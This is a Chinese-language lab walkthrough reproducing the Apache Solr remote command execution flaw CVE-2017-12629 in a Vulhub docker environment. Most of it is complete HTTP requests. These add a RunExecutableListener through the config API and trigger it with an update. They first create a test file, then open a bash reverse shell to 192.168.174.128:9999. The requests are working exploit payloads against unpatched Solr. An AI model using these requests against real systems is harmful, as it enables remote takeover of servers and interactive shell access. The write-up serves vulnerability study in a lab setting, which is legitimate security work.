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Apache Solr 远程命令执行漏洞 CVE-2017-12629

漏洞描述

漏洞原理与分析可以参考:

  • https://www.exploit-db.com/exploits/43009/
  • https://paper.seebug.org/425/

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

本环境测试RCE漏洞。

环境搭建

Vulhub运行漏洞环境:

docker-compose up -d

命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。

image-20220301111215342

漏洞复现

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"new_listener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/awesome_poc"]}}

image-20220301111449684

然后进行update操作,触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

image-20220301111552786

执行docker-compose exec solr bash进入容器,可见/tmp/awesome_poc已成功创建:

image-20220301111641749

执行反弹shell命令:

POST /solr/demo/config HTTP/1.1
Host: your-vps-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 192

{"add-listener":{"event":"postCommit","name":"newlistener_bash","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1"]}}

然后进行update操作,触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

成功接收反弹shell:

image-20220301112041937